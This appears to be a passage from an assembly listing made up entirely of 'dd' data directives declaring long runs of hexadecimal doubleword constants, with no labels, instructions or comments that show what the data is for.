dd 82B8A900h, 0D4107075h, 0BADB1C30h, 5BEEC06Ch, 58B5491Fh
dd 680260B8h, 0D4CD328Eh, 0CC14E04Ch, 0B3E55CC4h, 4809A800h
dd 47E81227h, 43AAF200h, 6E9FE11Dh, 0D8994CAFh, 0D2188F00h
dd 0B63EC4B5h, 9D297F00h, 3D53D602h, 67AEC4D4h, 0EF6C80DDh
dd 0B6074A71h, 99A24CA9h, 0BA266ED1h, 0CA17FF8h, 51313FD1h
dd 0EF078DB2h, 0D39E1B47h, 9746A00Eh, 160D4Ah, 6D7D28FEh
dd 36BB71C2h, 17B56200h, 0C088F6B6h, 0CB8F0030h, 8EA7C57Ch
dd 600321Ah, 0D1FA3F4Eh, 0CF6752h, 14868D2Eh, 0A77B9141h
dd 5ACA3600h, 0ABD3AD89h, 14E00B1h, 84F4929Eh, 1B0088C0h
dd 738F4C4Ah, 721CFD45h, 6197E3Ah, 0F74F0C16h, 373F32A7h
dd 0A376131Bh, 0FE18E800h, 152F653h, 1DB4A020h, 315BBFC1h
dd 866BF444h, 17BBA900h, 0A784F9C9h, 0E9411CA0h, 2E4EC06Dh
dd 0D9FDBD22h, 76512000h, 58CBC7C4h, 9EE2000Ah, 0FC6BCC69h
dd 0D9A02C8Ch, 0AF0CC95Ch, 0B81DB65Eh, 0D24A07D0h, 374D90D3h
dd 4623E041h, 753A7912h, 8092BA11h, 26918E28h, 26322DBh
dd 0CAA950B0h, 0F560E3B7h, 2D00A77Dh, 675FD01h, 9027FBB3h
dd 0D87000B1h, 4203FCAh, 6E2E58B4h, 0FA009E02h, 5E14DD53h
dd 2CF301D7h, 0FCDC7AE8h, 511A30CAh, 68D33F02h, 0CB703B7Dh
dd 0AA27C048h, 0A2D800D7h, 8C15B651h, 1A1217FDh, 14001804h
dd 94E5F3BBh, 0F9B900C1h, 3D20FCFh, 807B9748h, 3E727A05h
dd 768071C0h, 215646Fh, 5BDB2939h, 60E16D4Dh, 4432D86Ah
dd 879A4500h, 67AF70F7h, 4CC11E61h, 0F1F3C7DEh, 16E650CEh
dd 7003834h, 96D159A9h, 0EAC08F6h, 0EAF3108Fh, 0B8C9E940h
dd 0A50B2523h, 2529FB5h, 8109DF6Eh, 312782F4h, 167301D0h
dd 0C8221Ah, 8BFAB1E4h, 629834A6h, 2C0045E4h, 86A7DD5h
dd 30F0EE95h, 42DA1E2Bh, 180FE6F2h, 24F51A87h, 78C837FDh
dd 0F7E6B7h, 0B9D91D03h, 6A55EBFCh, 0A8650C00h, 31E4DD26h
dd 0E8B126DFh, 56581C70h, 8DDC04ACh, 0E41080EDh, 0BF12D922h
dd 0D401C68Fh, 0D3714FAEh, 0B200886Ch, 0D21C26E1h, 0D7002E1Fh
dd 0B69A56DAh, 14CF541Bh, 9567A749h, 647326h, 0C770411Ah
dd 0FF09218Ch, 8750EB79h, 3120E239h, 145AF8Bh, 8C19DC9Eh
dd 0C47B2253h, 0A601B85Eh, 172F031Fh, 7E1D3Dh, 368BE7A0h
dd 0FD137A3Ah, 844091C2h, 79287D9Eh, 9F7B00D7h, 8DED49C5h
dd 2700A297h, 0DDF75E3Bh, 9EE0181h, 5911BAFCh, 49DE0C00h
dd 190195B4h, 7F13E541h, 0CAED6D87h, 7BB35E8h, 0D7D2FBE6h
dd 688966A6h, 0D6B1520Eh, 294E2056h, 5C8F2h, 0DC761681h
dd 0C41F31E6h, 0BCA42839h, 625D0037h, 0D9E9A84Bh, 704A0075h
dd 200B88F1h, 0ED01BB77h, 8980176h, 54DC65C4h, 2BA013Fh
dd 0F64847E1h, 567820A1h, 0EC20360Fh, 160E670Bh, 8877220h
dd 4F1B0E59h, 12C08D6Eh, 43E0D65Dh, 4EA9C800h, 0D8F98499h
dd 77A8EA26h, 9EC70059h, 5D041E5Ah, 131EB6DAh, 0E440D84Eh
dd 6BBD8EA0h, 0BB793CFBh, 192CAD80h, 3B966FABh, 41812807h
dd 808BC1DBh, 0DF5BF10Bh, 645C1229h, 201800B1h, 0EEE64FABh
dd 985ABD90h, 0B6E71800h, 39BFA169h, 0F4C5D6h, 8250555Fh
dd 4DCF5A0Dh, 4784E50Fh, 0C492773h, 0CCAC0B60h, 5ECB162Ch
dd 0D1E00035h, 5B966C62h, 2B66F800h, 55B7B6A4h, 328F00F9h
dd 5020A5CCh, 7E04FA96h, 91F88677h, 224F5C80h, 0D91E00B3h
dd 4AA5159Eh, 0AA070954h, 0D64D3A68h, 3510B847h, 4B6CC012h
dd 87B01E98h, 566DBE7Eh, 0A70010C4h, 400D4D32h, 3E56BD8Ch
dd 5C80444Ah, 9E5FB155h, 0E7034764h, 0D187C172h, 17E298BDh
dd 2AD2002Dh, 79C27DDBh, 23E8BE4Ah, 701CE42Dh, 559204B1h
dd 0E07D2604h, 7C2E3F6Ch, 3BCDCE9h, 0DD296711h, 2CAED1A1h
dd 0DE98E0h, 229F60A6h, 38F61A47h, 34243100h, 0EB42DA74h
dd 2DA6002Ah, 1DF0A9FFh, 6548579Eh, 0A8FD009Ah, 602E64A3h
dd 0C9D701D9h, 3C877958h, 0DC443099h, 7F0BE58h, 0BFDE3E1Dh
dd 73A9C460h, 443031Eh, 9379F296h, 80928795h, 9F8CD112h
dd 10E7600h, 0B4C9A6E5h, 701E7097h, 27983FB8h, 4DC3928h
dd 0E5241735h, 2D44C899h, 0F86C512Ch, 0DD5DD79Ch, 0E88054D7h
dd 3E325Eh, 6A875545h, 0B92721F4h, 0A89B4D3Fh, 0B4038CEDh
dd 3F452CFDh, 0D55AC0E8h, 310D001Ah, 15A61DCAh, 5858B2EBh
dd 0E65D0A60h, 9F01B830h, 0D89BD783h, 0BD00B82Ch, 0DF47F380h
dd 0E90EC045h, 0A01D8103h, 9DC6216Fh, 83440E38h, 0BCFCD90h
dd 9BCA68A0h, 357EBAD6h, 59F36700h, 0F06D05BEh, 41980010h
dd 1CB1F531h, 0AA05F7CAh, 0E567A302h, 0F43888D0h, 3DC35CD9h
dd 0B7CC16h, 2634D7F4h, 5F006454h, 0C0425552h, 0E0E4C5h
dd 0FC088512h, 0A853671Ah, 620E2C02h, 8088EDE6h, 0FAAD97F9h
dd 1CDC484Eh, 3AD6B600h, 5046340Ch, 40B7BF06h, 740B323h
dd 0BAA54CB9h, 0C20F4032h, 414C2955h, 595000A4h, 0E652B946h
dd 9492F6h, 0C6FF9749h, 1295C38h, 0FDC2421Dh, 0DE7CF707h
dd 40460992h, 0A6EBAAh, 320F14B1h, 0CAE41783h, 8A95AC00h
dd 279B5AFDh, 934F00D5h, 0F97BE255h, 0CA007481h, 6B3E2E63h
dd 1BD5292h, 9FEF5610h, 0D04604CBh, 1D00692Ch, 0B911A23h
dd 4BD57D1h, 0D3F4E0B8h, 0C2408C32h, 0E24B9500h, 0A08A163Bh
dd 9CCD487Fh, 7730490Eh
dd 57CC7EA0h, 69134CD3h, 0C4085E6h, 0E21BAC63h, 30E00F5h
dd 0C262BA92h, 0A300D645h, 8CDBBC43h, 1E9F363Bh, 4BB34441h
dd 5080E199h, 45A11E30h, 12CF39h, 562341Ah, 299E3DAh, 2B6C6FC9h
dd 0A0E6922Dh, 0C04D3100h, 0FC418596h, 9DC80952h, 404B347h
dd 73489C5Bh, 501FC300h, 2F853FF7h, 347D006Ah, 52131D2Eh
dd 3859312Ah, 786300B0h, 9F989A70h, 0EDC006FAh, 59D0E74Fh
dd 23AEC207h, 6E525388h, 605A62A0h, 0CF9C724h, 0DD034689h
dd 81004A49h, 0C6C1C342h, 785B23h, 193A4C7Ah, 2657B733h
dd 0BDC5FD00h, 3D6B877Dh, 24819546h, 0E306A1AAh, 0E4E9F7F0h
dd 10404D02h, 8045521Eh, 0D012A2F3h, 1D4A0F9Ah, 0AFE0A1F2h
dd 0CA9092A8h, 0E0A5800h, 464D53CDh, 7C874C7Ah, 0DFD90500h
dd 367BF144h, 0A4F5809h, 0BD7700E0h, 26079A76h, 768D5h
dd 61B5FFE7h, 6300FA77h, 0D21D1BFCh, 17BEDB22h, 38C803h
dd 9A2ACC34h, 82006704h, 78175DB4h, 0FC687F20h, 588EECBCh
dd 88008E23h, 0A8DBF2EAh, 7424018Bh, 690020C5h, 12D697D3h
dd 0F59405C8h, 0C782A33Dh, 634A8035h, 7E0092B8h, 2DAF6F97h
dd 2C4766h, 0AEA76C68h, 0E9C15098h, 9B86C500h, 0CA7D90BBh
dd 0B0760202h, 653F3E46h, 0BFA9FC80h, 0C4A007F1h, 0A712AF45h
dd 28003927h, 0BBB0DDC4h, 0E02F012Ch, 0FE80A583h, 0D14B6070h
dd 4425C8B8h, 0A918003Bh, 1D2A5639h, 803E6DBBh, 335E8D7Eh
dd 1801E190h, 0EE122B36h, 463005F1h, 74150382h, 7E9A0119h
dd 48298BD0h, 0A1A29800h, 151B2BF5h, 7C5625C2h, 0AC8C20C0h
dd 6646D100h, 53116C9h, 36E50052h, 88759989h, 0A43B22B6h
dd 186E30D7h, 0C6AFE0h, 70545D6Dh, 0D457D671h, 5BC58D1Ch
dd 6F8E9E80h, 2B5D0D9h, 18C0E789h, 9CE07A58h, 92592E0Ch
dd 61961CD0h, 0C9B2F340h, 0EBA4A68h, 6E8F9CC5h, 0F8652140h
dd 38007014h, 743E766h, 79763BDAh, 0F57C0394h, 3487E27Bh
dd 4A72CBC0h, 74332103h, 0D83FB153h, 12AF31h, 9B988DA2h
dd 0EF85DFE8h, 0B089905h, 0CF833496h, 0E0D3C27Eh, 50BC04h
dd 58743212h, 716D6E61h, 8C31CC28h, 2C0995Ch, 0EED07768h
dd 4A2850DDh, 40441218h, 0E67A3AC8h, 711399F3h, 0B70014A9h
dd 0D9CB7DFBh, 9FDD1F63h, 5244C042h, 4A5C3DD8h, 7C082F00h
dd 0E247599Ah, 2E0900CCh, 85980E6Eh, 440B17EEh, 87536312h
dd 0B76045E9h, 5CADA9AFh, 0FD13DA1Ah, 0DFD30FC3h, 57807F6Bh
dd 3D0CD343h, 531F4D00h, 0B428B240h, 0D46F0B06h, 1781748Ch
dd 0C883B9A3h, 0DD00A19Dh, 0D8A8E379h, 0C2BF6Ch, 112E85Fh
dd 0E590A440h, 41567607h, 0DB5367EDh, 32888030h, 0D86400C4h
dd 0CCDCBEA7h, 29009A7Eh, 4AA19ECFh, 3E9BB02Ch, 0C2805553h
dd 316EF0ECh, 0BD02FC28h, 77C39A59h, 0B8EF4024h, 0CBBC00EDh
dd 6C0555EEh, 0D41EB5C2h, 0EC1190Dh, 5E202E0Ah, 0AFE030h
dd 1C2F4CEFh, 4B8A3566h, 86E0C71Ch, 80BAED00h, 475B44h
dd 89057D1Dh, 0A4CA4677h, 0DCB41626h, 0B487BF50h, 6CC904A8h
dd 0E48A87Fh, 0BCC40AEh, 0D35182F4h, 7CF8A2h, 0B40A6360h
dd 57CD938h, 720095E8h, 3F939B55h, 2C9D4416h, 30B7601Dh
dd 9A350A38h, 0FD2CED00h, 8CA98E86h, 2C747BC2h, 0C32E7Ch
dd 400CF826h, 0B82D9E1Eh, 0B9B0B853h, 0EB820021h, 5F4AE2C0h
dd 460045BAh, 5EBFC929h, 309BAC26h, 53566F8Fh, 1400C7FAh
dd 0D80A799Ch, 71968BCh, 0CE01554Bh, 5FC9C049h, 0C107EFD7h
dd 893F53F4h, 20EEA900h, 5D2000Bh, 54BEA166h, 2503467h
dd 5207D6E8h, 320DE062h, 0F03D5351h, 371D7068h, 3B41AC90h
dd 0C3F4F8h, 0DA652DFFh, 0B658F313h, 52F82A7Eh, 80D7FB3Ch
dd 0F719D1A4h, 48FC62CDh, 0CE3C21ACh, 3D0027BAh, 20950EDDh
dd 13009DCBh, 153BF979h, 561E4Ch, 0C151CCFFh, 8D767AB2h
dd 4A0B6200h, 8ECE9448h, 30835FCBh, 57BECC00h, 0D07D2300h
dd 28AD8976h, 85CF0021h, 0BDF1B642h, 9000F3FDh, 0F06D9C9h
dd 198D638h, 10F8B09Eh, 409BA27Fh, 73C551E4h, 896C293Bh
dd 0B496B45h, 7E1E0080h, 714867B2h, 125301B9h, 0A5B1D14Ah
dd 9787D00Dh, 7B9E8000h, 0A93BA12Fh, 8A6A00D9h, 21649B82h
dd 8F0048C6h, 41103334h, 83A9BAh, 6F231B80h, 6D451A77h
dd 6947300h, 767011ACh, 75D81EC6h, 141500B5h, 5D1E23FDh
dd 0AE4F8300h, 65B6690Ah, 0EA6F004Bh, 39F96803h, 5700A5EEh
dd 46B818F6h, 0E56AC85h, 9F5C8605h, 0AAB00B60h, 7800B5B3h
dd 0CDAE175Bh, 392E08A4h, 912ECBEAh, 0A6D100D1h, 0BFCA4934h
dd 5AC1AB00h, 0E87BB5Dh, 1CC20073h, 0BDCE8314h, 847E1EEEh
dd 0D1FA11C0h, 602C37h, 0B411777Ah, 0E80AF085h, 1E63C100h
dd 0B9AB271Ah, 25EF00E7h, 4A64CF87h, 0DD009178h, 0C5077F7Dh
dd 0F624C604h, 0E8B5016Ah, 0E98F2367h, 434FD8D2h, 0D82B0C00h
dd 48541FBAh, 87F3A1C7h, 77AAFEF0h, 0AB6A0037h, 0A4442393h
dd 9800E0DFh, 269C5D30h, 8B9F33h, 0B660373Ah, 2E8AF471h
dd 5FA1709h, 1611004Ch, 1E4F9245h, 804640ADh, 0A3D11FF7h
dd 0A700E4A4h, 25E6DBEDh, 0B96A78h, 0D892154Ah, 0A0F02E60h
dd 86CA1002h, 0C17C7629h, 7030B9E9h, 0B9D0FD3h, 6DA03F46h
dd 4159D937h, 6EDFCA16h, 39D87C40h, 12E3F854h, 0F1807DE8h
dd 25DAE0FCh, 0B705457Dh, 0E3042AABh, 90C3DE83h, 13500A22h
dd 0E2E94h, 0B1BC854Fh, 0BB00A0D1h, 0B44D7280h, 4FEC1FD3h
dd 0FB5C802Eh, 7167CF1Ah, 0C1505570h, 0B29A975h, 5663E1C2h
dd 49A7AB00h, 0AC0680BCh, 0B2AFF42Eh, 36F93C31h, 0F5B5CE81h
dd 0DB2AA401h, 487EBD92h, 0ECD81201h, 1840B0F4h, 0CD90424h
dd 0C89F9BCCh, 0FA203081h, 7AC504DFh, 0D0153DEEh, 2B11D78h
dd 0FCEA248h, 7B9B1739h, 0E5590338h, 538BA1CFh, 15794900h
dd 0D1CB10C5h, 0A91216ACh, 99D4075Eh, 0AA9DF4DCh, 0B7C00BC0h
dd 6ABD00DDh, 845BCAE3h, 8E00AA2Ah, 302B5935h, 439382h
dd 0D3F01DE5h, 4CA67D75h, 8808D61Ch, 55F2A400h, 74696h
dd 20322FF3h, 5E0AB5D2h, 0C68FB00h, 1D1F1774h, 4BC00037h
dd 7E16A9CCh, 0E628B05Dh, 8D72C1E3h, 0BB941B07h, 942EA10Dh
dd 834800F4h, 0A0EE50D9h, 36B40ECCh, 7289670Bh, 22610420h
dd 0D900436Dh, 87DAD2B0h, 21760h, 0A854F12Ch, 27AF4872h
dd 884E952Ah, 186CF30Ch, 5F186Eh, 69C84138h, 103E38Fh
dd 0B4A59E16h, 4C6E70A4h, 98058F60h, 5FAF62BDh, 781F00C0h
dd 826A6956h, 0FEBCD500h, 6EAF4B14h, 0B1BB0CB0h, 8130CB54h
dd 2961800h, 0AD2D93F1h, 340300D0h, 2C8C79D7h, 0A500D26Dh
dd 4D925AF3h, 104B59Bh, 0EAD856DEh, 0F4824084h, 0ED13ECCCh
dd 0BB005E99h, 152C785Ch, 9F961C79h, 7FB1803Dh, 0BB389B77h
dd 180035F0h, 84C039C7h, 26259Dh, 0C6D94D49h, 22445C3h
dd 39BB2D00h, 8A2F3E92h, 69B00757h, 9FF42BD2h, 0A7D11DA0h
dd 0D700F83Fh, 70DC8CB3h, 1C65DAB8h, 87F42F2Dh, 0B0BD43B4h
dd 6B722EE8h, 0E613A801h, 3B087FD6h, 0FE955F4h, 61837743h
dd 0F2149E20h, 0D818A0E1h, 8990224Bh, 5B0A0E30h, 0ACC0F3B2h
dd 61AB4451h, 351C6C00h, 0DEA59345h, 25B00317h, 0F8D599FCh
dd 0D1CC96E0h, 0F7CBE204h, 8C804E14h, 38BE623Dh, 2D836E4Bh
dd 45387051h, 0B5FA0CC8h, 0E60AF61h, 2C40271Ch, 84E4216h
dd 0D655FC22h, 0B898F941h, 42AA14CCh, 1B670869h, 36C40865h
dd 8C302941h
dd 6189002h, 0D14D40DFh, 41089242h, 761CB03Ch, 8B17BB91h
dd 51C3025Ah, 2C844BB8h, 58E4C6FDh, 1F951421h, 0AD6C220Ah
dd 77ED5940h, 88728064h, 68C058A2h, 510C3002h, 590B5C2Ch
dd 0B12A647Dh, 742F4388h, 7ABE9B4Bh, 3B810050h, 0E76C3A60h
dd 0F7022D54h, 12826483h, 0CD8157CEh, 0D8B3D625h, 0B50F3A61h
dd 0E3AB04F9h, 1D630CA4h, 9EAE3D68h, 0F61A0047h, 0DC89FC45h
dd 62DE8100h, 0AF2A129Ch, 227200F7h, 1FFFCA4Bh, 81008FDDh
dd 7E4AE1A2h, 70A8928h, 34BEDE2Fh, 876E20F8h, 9B301331h
dd 8D35E0FFh, 556C0089h, 8EB99FEDh, 72006879h, 5CC72501h
dd 123DD163h, 795B12Eh, 664C5218h, 5163F003h, 0F8E6BEF9h
dd 248AC716h, 0BE2C8B78h, 504D5800h, 2BD7304h, 0FAFC0800h
dd 9209C846h, 8CF03DB3h, 5B1E3300h, 0D50F4730h, 0DBB54505h
dd 0F1C1F5EBh, 0E451ABA4h, 0D1E41B3Dh, 0BF120043h, 0F92F0FC5h
dd 7E50A953h, 100CF94h, 0C207E3F4h, 7A2EB4Fh, 6E3CE7A7h
dd 5B4A15Ah, 0A0B0FBC8h, 4189E0Eh, 1510C5A6h, 8487509Ah
dd 0CE7039h, 0B58D3738h, 99162555h, 95BF1A00h, 3B52D2E6h
dd 0C64500CAh, 549BD5D7h, 8C40EC2Eh, 3C4D1B63h, 46F3A840h
dd 0CC9B25B0h, 0E4B0BD51h, 0E4F2B6ADh, 0FC129100h, 3F72BE13h
dd 0CB8134D1h, 7709C1C1h, 0E85E052h, 649EFF0Eh, 9A61239Ch
dd 5C10D04Ah, 358116CFh, 3AF60058h, 7287557Dh, 92603E04h
dd 24805E8Dh, 784F35h, 52EEF466h, 4BC28033h, 0FADD573Dh
dd 7E925005h, 0B680977Ch, 1CB5688h, 9F1412D0h, 0E8390BCCh
dd 66008483h, 0D3DDC6F8h, 303B753Fh, 7B788DAFh, 134C3EA8h
dd 29500035h, 65E97A9Ch, 5EA330DAh, 5C612A30h, 4FDF3Bh
dd 0A911ACB1h, 0C294AB3h, 0EE44677Dh, 0AF032D48h, 31A540F6h
dd 41F5B87Ah, 162E01DCh, 3C73525Bh, 6A36E42Ch, 0D4811727h
dd 0E64500AAh, 0D518E4EAh, 641EBD00h, 924BAF5Fh, 658B0046h
dd 9E5B4F5h, 0A1C51DBh, 0E1C0DD74h, 3AA3D3A8h, 85363804h
dd 1916450Eh, 10DB9500h, 2FA2371h, 1710FE60h, 0BCEAE63h
dd 0AFFCF3A4h, 85BACA00h, 45002668h, 0D5666223h, 4D5908h
dd 0FF53C82Bh, 139E56BBh, 7AC1B205h, 13C011C4h, 77C628E0h
dd 0CA9A7A61h, 5C045310h, 4D73F1Fh, 8ABD00FEh, 0C7FDDE77h
dd 15190048h, 0BC2D9137h, 551D69B6h, 0ECC194F6h, 8CB1A1ACh
dd 72642880h, 54FA3723h, 8077BE3Ah, 86B81E26h, 78C1ABA7h
dd 7998E7h, 82464E8Dh, 37BEB413h, 0C36AE01h, 255EC2B0h
dd 90325620h, 0D11601D5h, 0F7F0512Ah, 8D451Ch, 76E6611Eh
dd 0CF1C2127h, 328A8D65h, 170081B1h, 58426493h, 14FF276h
dd 0B2C6EB88h, 7029F0FAh, 0E00A7ACh, 42CC1E02h, 481F84h
dd 86C2AB61h, 0B603CAA1h, 1A76F500h, 0F870E5C9h, 269000E9h
dd 5973CB27h, 0C300AE49h, 0B1FC147Ch, 748F256h, 0AC314D57h
dd 4865021h, 3F008526h, 152E249Bh, 9A5201h, 2166E22Bh
dd 57454FD1h, 8EF6183Ch, 2398A1D7h, 0E9021150h, 0B08081E4h
dd 0A9DB80Ch, 62003B0Bh, 88E87D09h, 1B5874Eh, 0D26A1BB7h
dd 70E06D56h, 351DFC54h, 0EFC0C3B4h, 7CE5F43Dh, 5445005Eh
dd 0D919A56Eh, 7D00B8A2h, 152F32EAh, 2A4686Ch, 0EDA8CE5Ch
dd 9AC02B0Fh, 23000CD1h, 96EEC4B8h, 0F548934Bh, 0CCDF87D1h
dd 717862ECh, 0C9840F89h, 0C120120Dh, 0AEF529A6h, 6658D0FFh
dd 5A0762F0h, 0BCB7CE27h, 9E2CAD80h, 554E3871h, 1E433580h
dd 89366C48h, 21F1B700h, 0E4202A27h, 12320076h, 173BB405h
dd 230046A1h, 95D202EAh, 7B86AF77h, 782F00DEh, 0A04EE95Eh
dd 0F70325C1h, 1CA56AA2h, 5D7DE811h, 0D7100D6h, 0A79FC9B5h
dd 0A43CC302h, 4D118032h, 81C27D8Ch, 0A33500ADh, 582AA7FFh
dd 531EE2DDh, 0EA0007F8h, 5DA1F7AEh, 43453C2Bh, 0A300DE3Ch
dd 9AADC233h, 98009C28h, 49FFFEC9h, 500CA8h, 0A4C5D458h
dd 85AB09F2h, 0E11F1126h, 2956803Dh, 0C8EFAA70h, 0A00400D8h
dd 2E5FC244h, 24008122h, 0B9FE1C0Ah, 3B1BD08Bh, 0DC00CC4Bh
dd 1108B63Ch, 0F2009D91h, 5CF50238h, 43E7E3h, 0EC14180Eh
dd 0A64CE01h, 3400FA98h, 38F91CA8h, 142FFCDh, 17D07EC8h
dd 0E4F18202h, 0F090E7D5h, 0A6750CB0h, 6397DB00h, 0AA6D5C7Fh
dd 0F638791Bh, 7867FA1Ch, 39EA0030h, 24B9BD84h, 0E50F72E7h
dd 0D37505h, 8F5B2179h, 8D7739BCh, 366D7E80h, 0BD50FDF8h
dd 8BD75400h, 87C9FEB1h, 42D03A7h, 26F0C698h, 0E1679800h
dd 8E7659FCh, 577D00C1h, 5C9BA5D5h, 9713F140h, 3C00060Ah
dd 64A86237h, 0B1D50389h, 31EB6646h, 0EC5B69C1h, 8D00C774h
dd 0C00CB705h, 1BDEF29h, 54C54739h, 87F028C8h, 0E757D314h
dd 0C5052F05h, 0B5009E08h, 0AEF9C5E0h, 6F0200AAh, 94888FDEh
dd 5315C42Ch, 1D9058D5h, 24408D31h, 0A0059B9Ch, 7D5B00F1h
dd 36BDB475h, 0C00A159h, 0AFDCF8D6h, 0BA078Fh, 0A86C7461h
dd 2FB29C50h, 46CCF300h, 0EFCBF1B1h, 88EB0051h, 0E159D3Bh
dd 0A101C5E5h, 525C9227h, 9ED1D13Dh, 501F1080h, 0F9D41DFBh
dd 13729300h, 0E61756C0h, 38294C5Ch, 1AFE5A00h, 0CB7C5E60h
dd 0A7ED4500h, 449E12A6h, 64DC48A9h, 3132CC0Eh, 6C763600h
dd 780F30D2h, 75276Bh, 7B9447AEh, 0CD611E25h, 4B8A8098h
dd 9C8867B6h, 355B83Ch, 2B8E7730h, 495E8879h, 0CA233924h
dd 0E8267001h, 0CC4A2545h, 0D3011F37h, 0B83BB5A9h, 40CE56B6h
dd 50E7D4E0h, 7D7449h, 9AB4BD83h, 0BEC8219Ch, 80F88900h
dd 1D11E456h, 0F5B832h, 16877E1Bh, 45A908DAh, 0D5CC2E00h
dd 7F28297Ch, 0FF9ECE1h, 89DDD266h, 0E295AA21h, 0E07DDC5Dh
dd 6BF7000h, 9CCB16F2h, 444502DBh, 48354C80h, 1C55A8C0h
dd 581EE207h, 18A06098h, 38F31B81h, 2284E49Ch, 83DA0FF9h
dd 79D80190h, 4300E595h, 8DD8D9B4h, 1E262FE4h, 40935BD3h
dd 366A497Dh, 44004D61h, 0FE700D8Ah, 9F4E7B0h, 8FF5DF2Ah
dd 5E2D3480h, 0B3E8D499h, 0D37DA000h, 8426A597h, 4C8503DAh
dd 9B41240Fh, 25A9FC88h, 7F4D6000h, 45A29051h, 0A8010080h
dd 5472360Ah, 43000D31h, 0FD74ABADh, 0BF6563h, 0ED97DBAh
dd 8141E56Eh, 85EF2001h, 13DC5A17h, 19D6FCh, 723B9B3Ah
dd 705BC15Ch, 0DB3CC61Dh, 4536E70Eh, 0A834519h, 74818D3Fh
dd 54FC5DE0h, 0E2FED3h, 697C3506h, 0F93D7996h, 0D2D2300h
dd 0A8D342C2h, 0B5D800AFh, 749F471h, 0DB008905h, 0F2DEC798h
dd 71A9A10Dh, 0B92E01AEh, 38AA6F60h, 692C70E4h, 0E304D500h
dd 80B9219h, 0DA953FC1h, 45F9C917h, 806AA040h, 0A8F5E540h
dd 2501F000h, 56BDF150h, 0EF7CA9h, 69387467h, 0F9FA8CDh
dd 0BF5A7C0Bh, 0B54881D1h, 0F930DF7Bh, 0C6700EBh, 8056AC1h
dd 0E63D58E1h, 7C063BAFh, 7E6F930Bh, 5478A4B6h, 0F07930C0h
dd 7C3800F3h, 4DB10BBh, 9906CB2Bh, 0F209D43Bh, 462C00A1h
dd 6DE5F677h, 1500A90Fh, 0FD9156E2h, 3C53D01h, 1F1E4434h
dd 0FAC8E327h, 0E600DF8Bh, 160C5CE5h, 3AC0940h, 83240EC8h
dd 0A2907CCDh, 3600E39Dh, 6BED7DFAh, 76E8D67h, 571476AFh
dd 0D4E8407Eh, 0B9000A4Ch, 0D13EBC8h, 3A7CBEh, 2731F636h
dd 1BF0D1BCh, 0A6A9D800h, 0ACE96EDDh, 3DFE7338h, 0A804281h
dd 28D91C8h, 0F5001470h, 3DA20F5Bh, 404C08h, 0E8C2243Eh
dd 1DAA4BECh, 0DE900103h, 0B0C4AE2Dh, 0EDE6FEh, 76B9EF4h
dd 0A865CCBDh, 0B0B840FDh
dd 7F14E920h, 90EBDBh, 83A84A4h, 770EB766h, 7C5A3A8Ch
dd 20FFD018h, 0B200C4C7h, 0B0451C0Dh, 60E61Dh, 9D462A03h
dd 35473BDFh, 0ED06090Fh, 4011681h, 0E0F1E73h, 85E52025h
dd 88770h, 1C6CA321h, 0E10C454Dh, 30CF357Ah, 3F62A32Ah
dd 3A8FD814h, 63580082h, 0F8CAD681h, 88049EEDh, 355CEA9h
dd 51030014h, 0AC69D107h, 8CB31100h, 0BF7DADFEh, 0E95C2F7Eh
dd 9430FF50h, 0F76820C5h, 0FBE600ABh, 0C2DA1159h, 383EBE96h
dd 42809EF4h, 0D19B3640h, 561A86B1h, 0A70190D4h, 4F6607DCh
dd 0C0370CA8h, 0B2BD8AE1h, 0F5282307h, 4F03C00Ah, 3F3A2F19h
dd 0E299B8E8h, 0E090923Ch, 2DD000A3h, 0F9C1864Fh, 0FC746B7Fh
dd 20B9A530h, 3DD30F41h, 4B812694h, 17A91403h, 752D42Eh
dd 0C16F4F1Eh, 2B3710B0h, 4D541CD5h, 5F5C7A7h, 0C5C8C03Ah
dd 3600DB5Fh, 0F8C1981Dh, 8A4A8Dh, 12FF8B4Fh, 0A7881BEAh
dd 5ACA8400h, 222B74EBh, 0AF0B005Fh, 7ACDB507h, 0F47886AAh
dd 0F2BE6100h, 334CC941h, 7EF100B3h, 2C847DF6h, 5700024Fh
dd 65EE60D8h, 0F645121h, 0BAF26F23h, 56450F20h, 8E134076h
dd 9903204Ch, 0F0B637F1h, 301AF0C5h, 0AB1948B7h, 2404BD14h
dd 0DE477331h, 0DDB24320h, 33E1990h, 79820322h, 0F9EC966Bh
dd 53608558h, 997B03D7h, 0F2416B2h, 0D3F09AABh, 600092CFh
dd 0D44ACE6Bh, 0FC54DDh, 2BD2550Dh, 1F516E3Eh, 7DABC901h
dd 74944FF1h, 1FE24CC4h, 808A630Dh, 427E5CFFh, 0BAF80475h
dd 1E39EF17h, 7CFF14h, 7D1249F6h, 18A1E276h, 104A2E88h
dd 790046A6h, 1457D23Fh, 0AEEF82h, 8B9F1DBEh, 0BD8B5ADh
dd 0F2BF4B00h, 0B45A3CF1h, 7B453874h, 16A8C700h, 96706222h
dd 9C4FD618h, 802008h, 0CC094CA2h, 9E3BD98Bh, 0B80C0B00h
dd 919897C2h, 133D3BF1h, 0EEB8FEh, 30456967h, 0A76E50E8h
dd 8E04F907h, 0D4F0DC83h, 3509EDh, 0F43E34BAh, 43FEA570h
dd 0D5F114B8h, 497F2A7h, 5A48CD61h, 12D26083h, 6AE856ECh
dd 0A1003108h, 0D4A4470Ah, 6721C4h, 0B3A04F5h, 0CBDC5D74h
dd 0A698830Bh, 316A807Ch, 0FA0965F7h, 6E45009Fh, 13C39B54h
dd 0C03F830Eh, 912A8099h, 144A6AA4h, 627F0E98h, 7760511Dh
dd 2DE4BFB2h, 0B99F431Dh, 0F8D25C87h, 0C294AE60h, 1C4DE68Bh
dd 9DD761h, 0D0F2E56Ch, 2C1CAC80h, 0A040EEDBh, 92E72E83h
dd 0BFAD0E90h, 36A0CBE8h, 2C2F0D35h, 420094E6h, 508E4867h
dd 0BF52B66h, 0D8EB62C0h, 57001C0Fh, 8EBF1255h, 0CE707E00h
dd 79B9CAC6h, 26EC0E82h, 1021194Bh, 0E8B220A6h, 1438F411h
dd 98FA0F0Bh, 9000176Dh, 3CA4B707h, 692A0E44h, 0FDC0B319h
dd 8478C36Fh, 0CE562201h, 0E0A043E1h, 34961D8h, 9E2381B1h
dd 0EBC37B08h, 26B359C8h, 45A1A41Ch, 0EE4D2DC1h, 74C44ECFh
dd 0DF9E007Dh, 0C619814Ch, 0EC001D95h, 6993133Ah, 7D0377Fh
dd 0B1F4BF99h, 0D3155239h, 7B9DAD40h, 0A6DE7D02h, 8048AF7Eh
dd 0BC6286F4h, 0DAB800C8h, 0CBB4AD97h, 0F9068267h, 72F493EFh
dd 90E00511h, 0C033DE7Eh, 49FC3779h, 61A7402h, 841EACC1h
